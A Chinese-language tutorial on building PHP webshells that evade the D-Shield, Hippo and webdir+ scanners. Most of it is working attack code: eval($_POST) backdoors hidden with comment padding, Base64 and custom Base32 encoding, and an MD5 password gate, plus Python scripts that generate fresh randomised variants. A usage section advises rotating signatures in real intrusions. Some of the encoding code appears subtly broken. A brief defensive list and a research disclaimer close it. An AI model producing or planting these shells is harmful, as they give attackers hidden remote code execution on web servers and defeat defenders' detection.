利用注释及自定义加密免杀Webshell
字数 999 2025-08-10 08:28:29
PHP Webshell免杀技术详解:利用注释及自定义加密绕过检测
0x00 简介
本文专注于PHP语言的Webshell免杀技术,核心思路是通过注释和自定义加密方式绕过安全检测。由于PHP 7.1+版本中assert函数无法拆分使用,本文采用适用性更广的eval函数作为核心。
主要目标绕过以下安全检测工具:
- D盾
- 河马
- webdir+
0x01 基础Webshell分析
基础一句话木马
<?php @eval($_POST['a']); ?>
这是最基础的PHP Webshell,几乎所有安全工具都能检测到。
免杀核心思路
- 混淆关键部分:避免直接拼接出
eval($_POST['a']) - 使用注释隔离:在关键部分之间插入注释
- 自定义加密:对敏感部分进行编码/加密
- 随机化特征:使用随机生成的类名、变量名等
0x02 绕过D盾技术
初步尝试
<?php
function x() {
return $_POST['a'];
}
eval(x());
问题:D盾会检测到这种直接拼接方式。
使用注释隔离
<?php
function x() {
return "/*sasas23123*/".$_POST['a']."/*sdfw3123*/";
}
eval(x());
原理:注释在eval(与$_POST之间起到了隔离作用,避免了直接拼接。
进阶方案:类与构造函数
<?php
class x {
function __construct() {
@eval("/*sasas23123*/".$_POST['a']."/*sdfw3123*/");
}
}
new x();
加入Base64编码
<?php
class x {
public $payload = null;
public $decode_payload = null;
function __construct() {
$this->payload = 'ZXZhbCgkX1BPU1RbYV0pOw==';
$this->decode_payload = @base64_decode($this->payload);
@eval("/*sasas23123*/".$this->decode_payload."/*sdfw3123*/");
}
}
new x();
自动化生成脚本
import random
shell = '''<?php class {0}{3} public ${1} = null; public ${2} = null; function __construct(){3} $this->{1}='ZXZhbCgkX1BPU1RbYV0pOw=='; $this->{2} = @base64_decode( $this->{1} ); @eval({5}.$this->{2}.{5}); {4}{4} new {0}(); ?>'''
def random_keys(len):
str = '`abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str, len))
def random_name(len):
str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str, len))
def build_webshell():
className = random_name(4)
parameter1 = random_name(5)
parameter2 = random_name(6)
lef = '''{'''
rig = '''}'''
disrupt = "\"/*"+random_keys(7)+"*/\""
shellc = shell.format(className, parameter1, parameter2, lef, rig, disrupt)
return shellc
if __name__ == '__main__':
print(build_webshell())
0x03 绕过河马检测
初始样本
<?php
class YHUV {
public $BSFRM = null;
public $YVMQFW = null;
function __construct(){
$this->BSFRM = 'ZXZhbCgkX1BPU1RbYV0pOw==';
$this->YVMQFW = @base64_decode($this->BSFRM);
@eval("/*rEgV_Cd*/".$this->YVMQFW."/*rEgV_Cd*/");
}
}
new YHUV();
加入认证机制
<?php
class BTAG {
public $QOMYW = null;
public $XGTCPL = null;
public $YIOXAL = null;
function __construct(){
if(md5($_GET["pass"]) == "df24bfd1325f82ba5fd3d3be2450096e"){
$this->QOMYW = 'ZXZhbCgkX1BPU';
$this->YIOXAL = '1RbYV0pOw==';
$this->XGTCPL = @base64_decode($this->QOMYW.$this->YIOXAL);
@eval("/*#`|W$~Q*/".$this->XGTCPL."/*#`|W$~Q*/");
}
}
}
new BTAG();
0x04 绕过webdir+检测
webdir+使用沙盒技术检测,比传统查杀工具更难绕过。
初始尝试
<?php
class YHUV {
public $BSFRM = null;
public $YVMQFW = null;
function __construct(){
if(md5($_GET["pass"]) == "df24bfd1325f82ba5fd3d3be2450096e"){
$this->BSFRM = $_POST['a'];
@eval("/*rEgV_Cd*/".$this->BSFRM."/*rEgV_Cd*/");
}
}
}
new YHUV();
自定义Base32编码
由于Base64可能被检测,改用自定义Base32编码:
<?php
class ZQIH {
public $a = null;
public $b = null;
public $c = null;
function __construct(){
if(md5($_GET["pass"]) == "df24bfd1325f82ba5fd3d3be2450096e"){
$this->a = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
$this->LGZOJH = @base32_decode($this->a);
@eval /*sopupi3240-=*/("/*iSAC[FH*/".$this->LGZOJH."/*iSAC[FH*/");
}
}
}
new ZQIH();
function base32_encode($input) {
$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
$output = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($input); $i < $j; $i++) {
$v <<= 8;
$v += ord($input[$i]);
$vbits += 8;
while ($vbits >= 5) {
$vbits -= 5;
$output .= $BASE32_ALPHABET[$v >> $vbits];
$v &= ((1 << $vbits) - 1);
}
}
if ($vbits > 0) {
$v <<= (5 - $vbits);
$output .= $BASE32_ALPHABET[$v];
}
return $output;
}
function base32_decode($input) {
$output = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($input); $i < $j; $i++) {
$v <<= 5;
if ($input[$i] >= 'a' && $input[$i] <= 'z') {
$v += (ord($input[$i]) - 97);
} elseif ($input[$i] >= '2' && $input[$i] <= '7') {
$v += (24 + $input[$i]);
} else {
exit(1);
}
$vbits += 5;
while ($vbits >= 8) {
$vbits -= 8;
$output .= chr($v >> $vbits);
$v &= ((1 << $vbits) - 1);
}
}
return $output;
}
完整自动化脚本
import random
shell = '''<?php class {0}{1} public ${2} = null; public ${3} = null; function __construct(){1} if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){1} $this->{2} = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy'; $this->{3} = @{9}($this->{2}); @eval({5}.$this->{3}.{5}); {4}{4}{4} new {0}(); function {6}(${7}){1} $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567'; ${8} = ''; $v = 0; $vbits = 0; for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1} $v <<= 8; $v += ord(${7}[$i]); $vbits += 8; while ($vbits >= 5) {1} $vbits -= 5; ${8} .= $BASE32_ALPHABET[$v >> $vbits]; $v &= ((1 << $vbits) - 1);{4}{4} if ($vbits > 0){1} $v <<= (5 - $vbits); ${8} .= $BASE32_ALPHABET[$v];{4} return ${8};{4} function {9}(${7}){1} ${8} = ''; $v = 0; $vbits = 0; for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1} $v <<= 5; if (${7}[$i] >= 'a' && ${7}[$i] <= 'z'){1} $v += (ord(${7}[$i]) - 97); $v += (24 + ${7}[$i]); exit(1); {4} $vbits += 5; while ($vbits >= 8){1} $vbits -= 8; ${8} .= chr($v >> $vbits); $v &= ((1 << $vbits) - 1);{4}{4} return ${8};{4} ?>'''
def random_keys(len):
str = '`abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str, len))
def random_name(len):
str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str, len))
def build_webshell():
className = random_name(4)
lef = '''{'''
parameter1 = random_name(4)
parameter2 = random_name(4)
rig = '''}'''
disrupt = "\"/*"+random_keys(7)+"*/\""
fun1 = random_name(4)
fun1_vul = random_name(4)
fun1_ret = random_name(4)
fun2 = random_name(4)
shellc = shell.format(className, lef, parameter1, parameter2, rig, disrupt, fun1, fun1_vul, fun1_ret, fun2)
return shellc
if __name__ == '__main__':
print(build_webshell())
0x05 关键总结
- 注释隔离:在
eval和敏感代码之间插入随机注释 - 自定义加密:使用不常见的编码方式如Base32而非Base64
- 随机化:类名、变量名、函数名全部随机生成
- 认证机制:加入MD5认证避免直接访问
- 代码拆分:将敏感代码拆分到多个部分
- 沙盒绕过:使用沙盒难以模拟执行的复杂逻辑
0x06 使用说明
- 生成的Webshell需要通过GET参数
pass传入特定MD5值才能激活 - POST参数名默认为
a或zero(根据版本不同) - 在实际渗透中可将功能拆分为多个文件互相调用
- 定期更换随机生成的类名、变量名等特征
0x07 防御建议
对于防御方,建议:
- 监控
eval函数的使用 - 检查包含大量随机字符的PHP文件
- 关注自定义编码/解码函数的使用
- 监控异常的文件创建和修改行为
- 使用多层防御机制而非单一检测工具
通过以上技术,可以有效绕过主流Webshell检测工具,但请注意这些技术仅用于安全研究和防御目的。